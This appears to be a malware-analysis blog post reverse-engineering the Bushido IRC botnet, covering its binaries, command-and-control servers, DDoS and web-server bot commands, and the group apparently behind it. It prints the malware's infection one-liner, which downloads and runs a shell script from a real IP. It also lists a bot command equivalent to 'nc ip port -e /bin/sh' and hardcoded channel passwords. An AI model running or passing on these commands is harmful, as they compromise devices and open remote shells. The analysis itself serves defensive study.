Reversing Bushido IOT Botnet by ZullSec

Yet another Linux Botnet sample by the name of Bushido by a group called 0ffsecurity, but this time things are little interesting, the bad actor is not just interested in using compromised IOT device as DOS attack surface but also using compromised web servers. In this post, we will examine how a small infection shell script which leads to the unravelling of dozens of malware. Solving this case also uncovered the hacker group behind this malware.

Thanks to MalwareMustDie for sharing this sample, for me to reverse and learn from it. Let’s get right onto it, the infection script basically downloaded the bunch of Linux binaries from the malicious server and runs it, these binaries are compiled for different platforms as you can see below.

In this post we will reverse only 64-bit ELF binary as the rest of the binary will have the same functionality.

#Malware samples

These are all the samples which were discovered during the analysis.

FILE HASH VALUEFILE NAMEFUNCTION
4c1ff6424e1d47921a9c3822c67b6d288e67781d22ee1bc4f82fc11509bfb479a09rndgxtxbotnet binary
40a9be5a72284a14939271e244a9904142c7e87e64d2b1a476b51d36c5f2de26a88hfdje8botnet binary
f4bed53e2a0d273f00e82825607164ad20caa5f1a02e48e4b5627a819f49df8bab89484bdhdbotnet binary
d12ffbef4d85806d77294377956c4ecc48ac9b8c3bddbf26a917723f80c719fbadjde99vhcbotnet binary
c1b12ad1eb4e64896a66dc9b4e83f0e3a7d2d4c79819b68853f0f64fd329ac83adjs8993bdbotnet binary
37ac5b9aef6955a7a393d87ee656656851c313896fdeaff3b591e68ebda7a21dagf63683gdbotnet binary
5a8a8ea38ac8202373474e5ce535efd2302543a5aa595aa00bd3b553467ffd34alfkdcj9e8botnet binary
fd171c6b8f870bf64885cb05a5f1da3581537810652a9714a592c21889722198alo99edgwubotnet binary
9bad4e105c1701c965fd65118a14e06d222ca13eb9adb3c9e1e4fd7a80374087apr98dgs5cbotnet binary
ca5bb4a794663f35c1ded854e5157e8d077624501514ecac329be7ada8e0248caqerd783ndbotnet binary
7c492dde22c828fffc3067ef6aaa5d466cab76858079ce57492ce9bbfd7e449aatyur7837sbotnet binary
5fb8b5590b4845b31988f636a5a09b02bdbb3e730dd1f78d8f04a02013cb760dambvjcv9e0botnet binary
70d7adcd931eb49ede937b64f1653a6710fbcea891e2ab186165cff1d34299458UsA1.shinfection script
36f38298c5345abf9f0036890b357610078327a4a0a0e61db79fe7afb591830dupdate.shinfection script
eabee288c9605b29f75cd23204b643cfe4d175851b7d57c3d3d73703bd0f8ec8ftp1.shdownload the malware samples via ftp and install it
2544f0299a5795bf12494e2cbe09701cb024b06a0b924c91de0d35efb955a5fepma.phpphp botnet more on it in later section
18d6a4280adf67e2adf7a89aa11faa93a5ed6fc9d64b31063386d762b92b45d3pma.plpearl botnet more on it in later section

#Basic Static Analysis

Let see the file information of the binary.

1
2
$ file ambvjcv9e0
ambvjcv9e0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

Let’s check the file headers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
readelf -h x64_ambvjcv9e0
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400194
Start of program headers: 64 (bytes into file)
Start of section headers: 120288 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 3
Size of section headers: 64 (bytes)
Number of section headers: 15
Section header string table index: 12

Now the program Headers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ readelf -l ambvjcv9e0
Elf file type is EXEC (Executable file)
Entry point 0x400194
There are 3 program headers, starting at offset 64

Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000001b50c 0x000000000001b50c R E 0x100000
LOAD 0x000000000001b510 0x000000000051b510 0x000000000051b510
0x0000000000001418 0x00000000000094a0 RW 0x100000
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x8

Section to Segment mapping:
Segment Sections...
00 .init .text .fini .rodata .eh_frame
01 .ctors .dtors .jcr .data .bss
02

Nothing unusual as there is no dynamic section INTERP section and dynamic section is missing. Now lets check section headers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ readelf -S ambvjcv9e0
There are 15 section headers, starting at offset 0x1d5e0:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .init PROGBITS 00000000004000e8 000000e8
0000000000000013 0000000000000000 AX 0 0 1
[ 2] .text PROGBITS 0000000000400100 00000100
0000000000015138 0000000000000000 AX 0 0 16
[ 3] .fini PROGBITS 0000000000415238 00015238
000000000000000e 0000000000000000 AX 0 0 1
[ 4] .rodata PROGBITS 0000000000415260 00015260
00000000000062a6 0000000000000000 A 0 0 32
[ 5] .eh_frame PROGBITS 000000000041b508 0001b508
0000000000000004 0000000000000000 A 0 0 4
[ 6] .ctors PROGBITS 000000000051b510 0001b510
0000000000000010 0000000000000000 WA 0 0 8
[ 7] .dtors PROGBITS 000000000051b520 0001b520
0000000000000010 0000000000000000 WA 0 0 8
[ 8] .jcr PROGBITS 000000000051b530 0001b530
0000000000000008 0000000000000000 WA 0 0 8
[ 9] .data PROGBITS 000000000051b540 0001b540
00000000000013e8 0000000000000000 WA 0 0 32
[10] .bss NOBITS 000000000051c940 0001c928
0000000000008070 0000000000000000 WA 0 0 32
[11] .comment PROGBITS 0000000000000000 0001c928
0000000000000c4e 0000000000000000 0 0 1
[12] .shstrtab STRTAB 0000000000000000 0001d576
0000000000000066 0000000000000000 0 0 1
[13] .symtab SYMTAB 0000000000000000 0001d9a0
0000000000005418 0000000000000018 14 290 8
[14] .strtab STRTAB 0000000000000000 00022db8
00000000000029a2 0000000000000000 0 0 1

The binary is not stripped and it’s self-contained as it is statically linked. Since the binary is not stripped there will be lots of debugging information, with readelf we can list all the symbols as shown below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ readelf -s ambvjcv9e0
318: 000000000040bc46 485 FUNC GLOBAL DEFAULT 2 popen
319: 0000000000407ca5 177 FUNC GLOBAL DEFAULT 2 botkill
320: 0000000000411484 351 FUNC GLOBAL DEFAULT 2 sysconf
322: 000000000040b7d8 15 FUNC GLOBAL DEFAULT 2 vsprintf
323: 0000000000410ab4 72 FUNC GLOBAL DEFAULT 2 random
324: 0000000000411ad0 19 FUNC GLOBAL HIDDEN 2 __GI_getpagesize
325: 000000000040dd60 54 FUNC GLOBAL HIDDEN 2 __GI_strdup
326: 000000000040b43c 35 FUNC GLOBAL DEFAULT 2 getdtablesize
328: 0000000000405c17 33 FUNC GLOBAL DEFAULT 2 contains_fail
329: 000000000040037f 286 FUNC GLOBAL DEFAULT 2 Send
330: 0000000000414c50 19 FUNC GLOBAL HIDDEN 2 __length_question
332: 000000000040877a 1608 FUNC GLOBAL DEFAULT 2 hackpkg
333: 00000000004130c4 115 FUNC GLOBAL DEFAULT 2 setservent
334: 000000000040dce8 48 FUNC GLOBAL HIDDEN 2 __GI_strcasecmp
335: 0000000000411cd0 30 FUNC GLOBAL HIDDEN 2 __GI_tolower
336: 000000000040d3a8 192 FUNC GLOBAL DEFAULT 2 putc_unlocked
337: 000000000040fad4 11 FUNC WEAK DEFAULT 2 recv
338: 000000000040fa48 43 FUNC WEAK DEFAULT 2 connect
339: 0000000000414c00 80 FUNC GLOBAL HIDDEN 2 __encode_question
340: 00000000004115e4 70 FUNC GLOBAL HIDDEN 2 __GI___uClibc_fini
342: 0000000000414ab8 163 FUNC GLOBAL HIDDEN 2 __encode_header
343: 0000000000413234 233 FUNC GLOBAL DEFAULT 2 getservbyname_r
344: 0000000000414a40 119 FUNC GLOBAL HIDDEN 2 __GI_strncat
345: 000000000041162a 3 FUNC WEAK DEFAULT 2 __pthread_mutex_lock
346: 000000000040fc98 30 FUNC GLOBAL DEFAULT 2 __sigdelset

Since there were lots of symbols so as not to lengthen the post I have included only a small part of the section. Now let’s see all the symbols ending with “.c” that will give us an idea by the name program of the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ readelf -s x64_ambvjcv9e0 | grep -F .c
16: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
26: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
32: 0000000000000000 0 FILE LOCAL DEFAULT ABS initfini.c
35: 0000000000000000 0 FILE LOCAL DEFAULT ABS Bushido-IRC.c
50: 0000000000000000 0 FILE LOCAL DEFAULT ABS __syscall_fcntl.c
51: 0000000000000000 0 FILE LOCAL DEFAULT ABS _exit.c
52: 0000000000000000 0 FILE LOCAL DEFAULT ABS close.c
53: 0000000000000000 0 FILE LOCAL DEFAULT ABS fork.c
54: 0000000000000000 0 FILE LOCAL DEFAULT ABS getdtablesize.c
55: 0000000000000000 0 FILE LOCAL DEFAULT ABS getpid.c
56: 0000000000000000 0 FILE LOCAL DEFAULT ABS getppid.c
57: 0000000000000000 0 FILE LOCAL DEFAULT ABS getrlimit.c
58: 0000000000000000 0 FILE LOCAL DEFAULT ABS ioctl.c
59: 0000000000000000 0 FILE LOCAL DEFAULT ABS kill.c
60: 0000000000000000 0 FILE LOCAL DEFAULT ABS mkdir.c

Bushido-IRC.c interesting !. Next stings, this was the most interesting part of the analysis, you won’t even have to open the disassembler to understand what the malware does, strings will confess it all to you.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ strings ambvjcv9e0
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://80.93.187.211/update.sh -O update.sh; busybox wget http://80.93.187.211/update.sh -O update.sh; ftpget
-v -u anonymous -p anonymous -P 21 80.93.187.211 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 80.93.187.211 update.sh update.sh; chmod 777 upd
ate.sh; ./update.sh; rm -rf update.sh
mirai.*
dlr.*mips
mips64
mipsel
sh2eb
sh2elf
armv5
armv4tl
armv4
armv6
i686
powerpc

There were lots of strings, just by skimming through the strings you can make out the functionality of malware. But here is the summary of the interesting strings you will find:

  1. CNC server IP
  2. username and password used to brute force telnet service
  3. HTTP headers
  4. Browser user agent strings
  5. lots of racist comment and foul words.
  6. lots of IRC commands and strings
  7. malware usage help strings
  8. malware update bash command and other shell commands
  9. error handling message
  10. libc function names
  11. nmap scan commands and logging of the error.
  12. build file names

looking at the string you can make a reasonable judgment of what their malware does. But to Investigate the execution flow and how to malware connect to CNC we should dig further. Since we found the IP in the strings, we can do a simple port scan of the CNC server, this is where I found the malicious pearl and PHP code, more on it in the next section.

#Investigating the Server

Once you see IP address inside binary its a natural instinct to do a simple port scan on the IP, so innocent nmap scan on the server and got the following results.

  1. Server A (IP 80.93.187.211): this server was serving the malware

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    21/tcp   open     ftp        
    22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
    | ssh-hostkey:
    | 1024 b3:ae:e9:79:22:65:37:15:13:66:c8:8f:0a:81:13:ec (DSA)
    |_ 2048 32:e9:e2:9f:9b:ae:13:e6:99:7a:60:91:9c:38:30:8d (RSA)
    80/tcp open http Apache httpd 2.2.15 ((CentOS))
    | http-methods:
    |_ Potentially risky methods: TRACE
    |_http-server-header: Apache/2.2.15 (CentOS)
    |_http-title: Apache HTTP Server Test Page powered by CentOS
    135/tcp filtered msrpc
    139/tcp filtered netbios-ssn
    443/tcp open https?
    445/tcp filtered microsoft-ds
    3306/tcp open mysql MySQL (unauthorized)
    6667/tcp open irc UnrealIRCd
    | irc-info:
    | users: 57
    | servers: 1
    | chans: 3
    | lusers: 57
    | lservers: 0
    | server: irc.NulL
    | version: Unreal3.2.10.6. irc.NulL
    | source ident: nmap
    | source host: 19A967F7.1F3B5440.6D396E3B.IP
    |_ error: Closing Link: kksqfgqca[114.143.107.254] (Client has disconnected from ZullSec)

    From the scan results couple of deductions that we can make are :

    1. It is an IRC based CNC server(plus we found IRC command in the strings this confirms that assumption).

    2. FTP is probability serving files: to investigating further I connected to the FTP with default credentials anonymous as username and password to gain access and it worked!

      1. Once you would have connected to that server you would have found the binaries which we saw earlier, wandering a little bit here and there you would have also stumble upon other file pma.php, pma.el(more on this in Malware functionality section) and other shell scripts which basically downloaded the binaries and runs it.
      2. There was another update file called 8UsA1.sh which as also doing the same but was connecting to a different IP address 185.244.25.217.
  2. Server B (IP 185.244.25.217) - this server was found in 8UsA1.sh, so let’s do another innocent nmap port scan. Found nothing interesting on this server simple HTTP service, results were as shown below.

    1
    2
    3
    4
    80/tcp  open  http
    443/tcp open https
    Running: Linux 2.6.X
    OS details: Linux 2.6.18 - 2.6.22

#CNC Server

From our earlier finding its reasonable assumption that this malware is an IRC botnet hosted on Server A. If you try to connect to the server using any IRC client you will find two channel on that IRC Server :

  1. #pma - this is the channel where infected web server malware PHP/pearl script joins. Since PHP/pearl code was not obfuscated it was very simple to read it.
  2. #zull - this channel is where the Linux binary malware joins the channel and waits for the command.

#IRC server

Once the malware is running it connect to IRC server with the following command NICK[ZULL|x86_64]ZM5z format of the command is NICK[|]malware joins the channel #zull using a password which is hardcoded in the binary which can be seen in below disassembly.

#Malware functionality

Since binary has the debugging symbols not stripped, you could read the disassembly code effortlessly. Based on that you can make the following claims:

  1. DDOS attack it main functionality of the malware. There were many types of DDOS attacks like ICMP flood, TCP, UDP based attacks.
  2. Malware Client can be enabled/disabled by the CNC(not sure why ?). Disabling is done by a password which is “FreakIsYourGod!!!”, the password can be found in the binary.
  1. Malware client can be updated fetching the updated binaries from the server, there is another update mechanism by which malware can download the source code and compile the binary and delete the source code.
  2. malware client can download, compile C files and deletes the source code. This feature was present in the same function as the previous feature but could be a switch to different execution flow by one variable.
  3. malware joins the #zull channel with password topkeka.
  4. It can hop to a different server when instructed by current CNC.

Digging further you will find an array of structure where the first field is a pointer to a string( which is the name of the functionality) and next field is a pointer to a function which is the execution of that functionality.

So far we understood that bad actor compromises IOT devices or web server and use them as the attack surface for DDOS. The command to the infected devices is given through IRC channels. The bad actor uses channel #zull to command the IoT devices and #pma to the command we servers. IOT devices are infected with binaries and the servers are infected with PHP or pearl script. Functionalities of both the malware are described in more detail in the next section.

#Linux binaries functionality

  1. Non-root/non-spoof DDoS commands commands :

    1. STD
    2. HOLD
    3. JUNK
    4. UNKNOWN<port, 0 for random> <packet size, 0 for random>: An advanced non spoof UDP flooder modified by Freak
    5. HTTP
  2. Spoof/root commands :

    1. UDP: A UDP flooder
    2. PAN: An advanced syn flooder that will kill most network drivers
    3. TCP
    4. PHATWONK<flags/method>: A leet flooder coded by Freak, attacks 31 ports. Can set flags or attack method.
    5. BLACKNURSE: An ICMP packet flooder that will crash most firewalls and use loads of CPU.
  3. Other commands :

    1. RNDNICK : Randomizes the knights nick
    2. NICK: Changes the nick of the client
    3. SERVER: Changes servers
    4. GETSPOOFS : Gets the current spoofing
    5. SPOOFS: Changes spoofing to a subnet
    6. DISABLE : Disables all packeting from this client
    7. ENABLE : Enables all packeting from this client
    8. KILL : Kills the knight
    9. DNS2IP
    10. GET: Downloads a file off the web and saves it onto the hd
    11. UPDATE<src:bin> : Update this bot
    12. HACKPKG: HackPkg is here! Install a bin, using http, no depends!
    13. VERSION : Requests version of client
    14. KILLALL : Kills all current packeting
    15. HELP : Displays this
    16. IRC: Sends this command to the server
    17. SH: Executes a command
    18. ISH: SH, interactive, sends to channel
    19. SHD: Executes a psuedo-daemonized command
    20. GETBB: Get a proper busybox
    21. INSTALL <http server/file_name> : Download & install a binary to /var/bin
    22. BASH: Execute commands using bash.
    23. BINUPDATE http:server/package : Update a binary in /var/bin via wget
    24. SCAN: Call the nmap wrapper script and scan with your opts.
    25. RSHELL: Equates to nohup nc ip port -e /bin/sh
    26. LOCKUP http:server : Kill telnet, d/l aes backdoor from, run that instead.
    27. GETSSH http:server/dropbearmulti : D/l, install, configure and start dropbear on port 30022.

#Web Server botnet functionality (php and pearl script)

  1. mail [to] [from] [subject] [message]
  2. dns [host]
  3. rndnick
  4. raw [irc] [data]
  5. uname
  6. eval [php] [code]
  7. exec [command] [args]
  8. cmd [command] [args]
  9. udpflood [ip] [port] [time] [packet] [size]
  10. tcpconn [host] [port] [time]
  11. slowread [host] [port] [page] [sockets] [time]
  12. slowloris [host] [time]
  13. l7 method [host] [time]
  14. post [host] time
  15. head [host] [time]
  16. tcpflood [host] [port] [time]
  17. httpflood [host] [port] [time] [method] [url]
  18. proxyhttpflood [targetUrl(with http://)] [proxyListUrl] [time] [method]
  19. cloudflareflood [host] [port] [time] [method] [url] [postFields]
  20. ud.server [host] [port] [pass] [chan]

this functionality resembles the earlier functionality which we saw in binary function.

#The Bad Actors

Once you are connected to the IRC server you will have seen the following information on the channel.

I tried to search for these name which we see in above image on twitter and these are the accounts I found on twitter :

  1. m4licious
  2. M1r0x

I couldn’t find other accounts, these people belong to a group called 0ffsecurity. My guess is they are trying to sell this botnet as a service. As doing a little google search you will find the following accounts.

These are the account for the Botnet product:

  1. Twitter
  2. Facebook
  3. youtube demo video

#Conclusion

This malware is not new in this space and I am quite sure that these people have borrowed lots of code from the Mirai and made it into a new DDOS tool. They are also using the compromised web server as a DDOS attacking agent, and they are using IRC server as common CNC server to control both infected web server and IOT device.

Share